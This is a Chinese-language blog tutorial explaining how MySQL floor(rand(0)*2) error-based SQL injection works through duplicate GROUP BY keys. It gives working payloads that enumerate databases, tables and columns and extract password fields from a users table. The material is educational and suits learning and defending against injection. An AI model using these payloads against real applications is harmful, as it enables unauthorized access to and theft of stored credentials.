MYSQL 通过floor() 报错注入

本文深入解析了SQL注入的原理,通过举例说明了如何利用`floor(rand(0)*2)`函数产生随机序列导致数据库报错,进而实现信息泄露。讨论了注入攻击的约束条件,如需要查询的数据量大于3条,以及字符长度限制。同时,提供了多种爆库、爆表、爆列的注入语句示例,强调了数据库安全性和防止SQL注入的重要性。
摘要由CSDN通过智能技术生成

函数解释

floor() 函数,向下取整
rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
floor( rand( 0 ) * 2 ) 产生的随机序列为011011…

报错原理

利用数据库表主键不能重复的原理,使用 GROUP BY 分组,产生主键key冗余,导致报错
已知表users如下

IDNAME
1AA
2AA
3BB

sql语句

select count(*) ,name from users group by name; 

在进行分组运算的时候会根据name属性,创建一个虚拟表

从上至下扫描,当扫描到第一行NAME === AA 的时候

当前虚拟表没有该字段,那么插入此虚拟表,count = 1

countname
1AA

当扫描到第二行 NAME === AA 的时候

当前虚拟表存在该字段,那么count + 1

countname
2AA

当扫描到第三行 NAME === BB 的时候

当前虚拟表不存在该字段,执行插入,count = 1

countname
2AA
1BB

那么利用floor( rand( 0 ) * 2) 这个函数的返回值,进行分组,因为序列为011011…

那么构建SQL语句

SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x;

查询第一条记录,别名x 产生 键值0,当键值 0 不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1

COUNTx
11

查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2

COUNTx
21

查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示

COUNTx
21
11

由于数据库主键唯一性,现在临时表中存在两个键值为1,主键冗余,所以报错

由于数据库报错会将报错原因展示出来,故利用报错来实现注入

由上知,要保证floor报错注入,那么必须保证查询的表必须大于三条数据

约束条件

输出字符长度限制为64个字符

注入语句

and (select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y)

举例

爆库

select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select schema_name from information_schema.schemata limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

爆表

select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select table_name 
from information_schema.`TABLES` WHERE table_schema = database() limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

爆列

select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

select * from users where id=1 and (select * from (select count(*),concat(0x7e,(select column_name
from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

爆字段

select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 0,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 1,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 2,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

select * from users where id=1 and (select * from (select count(*),concat(0x7e,
(select password from users limit 3,1),floor(rand(0)*2),0x7e)x from information_schema.tables group by x) as y);

在这里插入图片描述

返回主页

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值